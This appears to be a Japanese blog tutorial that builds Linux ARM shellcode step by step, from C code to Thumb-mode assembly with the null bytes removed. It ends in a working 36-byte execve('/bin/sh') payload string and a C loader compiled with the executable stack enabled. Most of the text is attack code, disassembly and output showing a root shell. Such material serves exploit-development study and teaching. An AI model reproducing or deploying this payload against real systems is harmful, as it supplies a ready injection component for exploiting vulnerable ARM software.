「Linux x86用のシェルコードを書いてみる」と同様に、Linux ARM(armel)用のシェルコードを書いてみる。
環境
Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)
# uname -a Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux # lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty # gcc --version gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2
C言語で書いてみる
まずはexecveシステムコールを使ってシェルを起動するC言語コードを書いてみる。
/* execve.c */
#include <unistd.h>
int main()
{
char *argv[] = {"/bin/sh", NULL};
execve(argv[0], argv, NULL);
}
スタティックリンクにてコンパイルし、実行してみる。
# gcc -static execve.c # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
意図した通り、シェルが起動できていることがわかる。
ディスアセンブルしてみる
システムコール実行の流れを調べるため、実行ファイルをディスアセンブルしてみる。
# objdump -d a.out | less
execveシステムコール実行までの流れを抜き出すと次のようになる。
000089c8 <main>:
89c8: b580 push {r7, lr}
89ca: b082 sub sp, #8
89cc: af00 add r7, sp, #0
89ce: f24d 0394 movw r3, #53396 ; 0xd094
89d2: f2c0 0304 movt r3, #4
89d6: 603b str r3, [r7, #0]
89d8: 2300 movs r3, #0
89da: 607b str r3, [r7, #4]
89dc: 683a ldr r2, [r7, #0]
89de: 463b mov r3, r7
89e0: 4610 mov r0, r2
89e2: 4619 mov r1, r3
89e4: 2200 movs r2, #0
89e6: f00f ffe3 bl 189b0 <__execve>
000189b0 <__execve>:
189b0: b500 push {lr}
189b2: f04f 0c0b mov.w ip, #11
189b6: f7f0 fb1b bl 8ff0 <__libc_do_syscall>
00008ff0 <__libc_do_syscall>:
8ff0: b580 push {r7, lr}
8ff2: 4667 mov r7, ip
8ff4: df00 svc 0
最終的に、r7 = 11, r0 = "/bin/sh", r1 = {"/bin/sh", NULL}, r2 = NULLがセットされた状態でsvc 0が呼ばれていることがわかる。
ここで、11はexecveのシステムコール番号である。
アセンブリコードを書いてみる
上の結果をもとに、アセンブリコードを書くと次のようになる。
# execve.s
.globl _start
_start:
adr r7, binsh
ldm r7!, {r0, r1}
mov r2, #0
push {r0, r1, r2}
mov r0, sp
push {r0, r2}
mov r1, sp
mov r7, #11
svc 0
binsh:
.ascii "/bin//sh"
上のコードでは、"/bin//sh"の8バイトをldm命令を使ってr0、r1レジスタに読み込んでいる。
その後、スタックに値をpushしつつ、必要なアドレスをスタックレジスタからr0、r1レジスタにセットしている。
上のコードをアセンブルして実行すると次のようになる。
# gcc -nostdlib execve.s # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
C言語で書いた場合と同様、シェルが起動できていることがわかる。 この実行ファイルをディスアセンブルすると、次のようになる。
# objdump -d a.out
a.out: file format elf32-littlearm
Disassembly of section .text:
00008098 <_start>:
8098: e28f701c add r7, pc, #28
809c: e8b70003 ldm r7!, {r0, r1}
80a0: e3a02000 mov r2, #0
80a4: e92d0007 push {r0, r1, r2}
80a8: e1a0000d mov r0, sp
80ac: e92d0005 push {r0, r2}
80b0: e1a0100d mov r1, sp
80b4: e3a0700b mov r7, #11
80b8: ef000000 svc 0x00000000
000080bc <binsh>:
80bc: 6e69622f .word 0x6e69622f
80c0: 68732f2f .word 0x68732f2f
Thumb命令の利用による短縮
NULL文字除去を行う前に、Thumb命令を使ってシェルコードの短縮を試みる。
最初に、ARMステートからThumbステートへの切り替えを行う。
これを行うには、適当なレジスタにpc + 1あるいはpc & 1を代入し、bx命令のオペランドに指定すればよい。
pcにはその時点で実行している命令のアドレス+8が入っているため、レジスタにはbx命令の次のアドレスの最下位ビットを1にした値が入る。
上記をもとに、アセンブリコードを修正すると次のようになる。
# execve2.s
.globl _start
_start:
add r7, pc, #1
bx r7
.thumb
adr r7, binsh
ldm r7!, {r0, r1}
mov r2, #0
push {r0, r1, r2}
mov r0, sp
push {r0, r2}
mov r1, sp
mov r7, #11
svc 0
.balign 4
binsh:
.ascii "/bin//sh"
ここで、.balign 4は4バイト境界になるまで適当なバイトを埋める(アラインメントを行う)GNUアセンブラディレクティブである。
adr r7, binshでアドレスを計算する際、adr命令とbinshラベルのアドレスの間のオフセットは4の倍数である必要がある。
しかしThumb命令は基本2バイト固定長であるため、ここでは明示的にアラインメントを指定している。
修正したコードをアセンブルして実行すると次のようになる。
# gcc -nostdlib execve2.s # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
修正前と変わらず、シェルが起動できていることが確認できる。 この実行ファイルをディスアセンブルすると次のようになる。
# objdump -d a.out
a.out: file format elf32-littlearm
Disassembly of section .text:
00008098 <_start>:
8098: e28f7001 add r7, pc, #1
809c: e12fff17 bx r7
80a0: a704 add r7, pc, #16 ; (adr r7, 80b4 <binsh>)
80a2: cf03 ldmia r7!, {r0, r1}
80a4: 2200 movs r2, #0
80a6: b407 push {r0, r1, r2}
80a8: 4668 mov r0, sp
80aa: b405 push {r0, r2}
80ac: 4669 mov r1, sp
80ae: 270b movs r7, #11
80b0: df00 svc 0
80b2: bf00 nop
000080b4 <binsh>:
80b4: 6e69622f .word 0x6e69622f
80b8: 68732f2f .word 0x68732f2f
bx命令の次から、2バイト固定長のThumb命令となっていることがわかる。
NULLバイト除去
残っているNULLバイト(\x00)を除去するために、次のように修正する。
mov r2, #0をeor r2, r2svc 0をsvc 1.balign 4を.balign 4, 1
# execve3.s
.globl _start
_start:
add r7, pc, #1
bx r7
.thumb
adr r7, binsh
ldm r7!, {r0, r1}
eor r2, r2
push {r0, r1, r2}
mov r0, sp
push {r0, r2}
mov r1, sp
mov r7, #11
svc 1
.balign 4, 1
binsh:
.ascii "/bin//sh"
アセンブルして実行してみる。
# gcc -nostdlib execve3.s # ./a.out # id uid=0(root) gid=0(root) groups=0(root) #
実行ファイルをディスアセンブルしてみる。
# objdump -d a.out
a.out: file format elf32-littlearm
Disassembly of section .text:
00008098 <_start>:
8098: e28f7001 add r7, pc, #1
809c: e12fff17 bx r7
80a0: a704 add r7, pc, #16 ; (adr r7, 80b4 <binsh>)
80a2: cf03 ldmia r7!, {r0, r1}
80a4: 4052 eors r2, r2
80a6: b407 push {r0, r1, r2}
80a8: 4668 mov r0, sp
80aa: b405 push {r0, r2}
80ac: 4669 mov r1, sp
80ae: 270b movs r7, #11
80b0: df01 svc 1
80b2: 0101 lsls r1, r0, #4
000080b4 <binsh>:
80b4: 6e69622f .word 0x6e69622f
80b8: 68732f2f .word 0x68732f2f
NULLバイトが除去できていることが確認できる。
シェルコードとして実行してみる
上の実行ファイルに対しobjdumpコマンドでバイト列をダンプし、C形式の文字列に変換してみる。
# objdump -s a.out
a.out: file format elf32-littlearm
Contents of section .note.gnu.build-id:
8074 04000000 14000000 03000000 474e5500 ............GNU.
8084 47b8380d aa1cf406 54a4c840 74b5b420 G.8.....T..@t..
8094 e0b2a38e ....
Contents of section .text:
8098 01708fe2 17ff2fe1 04a703cf 524007b4 .p..../.....R@..
80a8 684605b4 69460b27 01df0101 2f62696e hF..iF.'..../bin
80b8 2f2f7368 //sh
Contents of section .ARM.attributes:
0000 411e0000 00616561 62690001 14000000 A....aeabi......
0010 05372d41 00060a07 41080109 020a04 .7-A....A......
# perl -ple 's/(\w{2})\s?/\\x\1/g' <<<"01708fe2 17ff2fe1 04a703cf 524007b4 684605b4 69460b27 01df0101 2f62696e 2f2f7368"
\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68
C言語で、この文字列(シェルコード)を明示的に実行させるプログラムコードを書くと次のようになる。
/* loader.c */
#include <stdio.h>
char shellcode[] = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68";
int main()
{
printf("[+] sizeof(shellcode) = %d\n", sizeof(shellcode));
(*(void (*)())shellcode)();
}
シェルコードが実行できるようDEPを無効にした上でコンパイルし、実行してみる。
# gcc -zexecstack loader.c # ./a.out [+] sizeof(shellcode) = 37 # id uid=0(root) gid=0(root) groups=0(root) #
上の結果から、問題なくシェルが起動できていることが確認できた。 C言語の文字列として末尾に付与されているNULLバイトを除くと、このシェルコードの長さは36バイトである。